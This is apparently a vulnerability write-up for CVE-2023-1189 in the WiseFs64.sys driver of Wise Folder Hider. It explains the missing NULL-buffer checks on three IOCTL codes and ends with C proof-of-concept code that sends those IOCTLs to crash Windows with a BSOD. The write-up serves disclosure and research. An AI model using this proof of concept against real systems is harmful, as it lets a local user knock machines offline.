
CVE-2023-1189 PoC & Exploit
| Item | Details |
|---|---|
| CVE ID | CVE-2023-1189 |
| Vulnerability Type | Improper Resource Shutdown or Release (CWE-404) |
| Affected Software | WiseCleaner Wise Folder Hider |
| Vulnerable Component | WiseFs64.sys (Kernel Driver) |
| Vulnerable Version | 4.4.3.202 |
| CVSS | NVD - 5.5(Medium), VulDB - 3.3(Low) |
| Disclosure Date | 2023.03.06 |
This vulnerability is a Local Denial of Service vulnerability that allows an attacker with user privileges to trigger a kernel NULL Pointer Dereference via a specific IOCTL, causing the system to enter a BSOD state.
The CVE-2023-1189 vulnerability occurs in the WiseFs64.sys kernel driver created during the setup of Wise Folder Hider version 4.4.3.202.
The overall vulnerability flow is as follows.

Looking at that flow in detail:

First, the DriverEntry function sets the dispatchDeviceControl function at index 14 of the Dispatch Table.
As a result, all IOCTLs arriving via \\.\WiseFs are forwarded to dispatchDeviceControl.

Once inside the dispatchDeviceControl function, it first checks whether it is the control device. If so, it enters the handleControlDeviceIoctl function.

The handleControlDeviceIoctl function contains the logic that handles the actual IOCTL codes.
Among the various IOCTL codes, the validation that checks whether the Buffer value is NULL is omitted for 0x222400, 0x222404, and 0x222410.
Therefore, if the above IOCTLs are called while Buffer is NULL, the driver accesses the Buffer, causing a NULL Pointer Dereference that leads to a BSOD.
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#define SymLinkName L"\\\\.\\WiseFS"
HANDLE hDevice;
int main(int argc, char* argv[]) {
DWORD dwWrite = 0;
hDevice = CreateFileW(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("failed to CreateFile\n");
return 1;
}
// case 0x222400
// DeviceIoControl(hDevice, 0x222400, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222404
// DeviceIoControl(hDevice, 0x222404, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222410
// DeviceIoControl(hDevice, 0x222410, NULL, 0, NULL, 0, &dwWrite, NULL);
CloseHandle(hDevice);
return 0;
}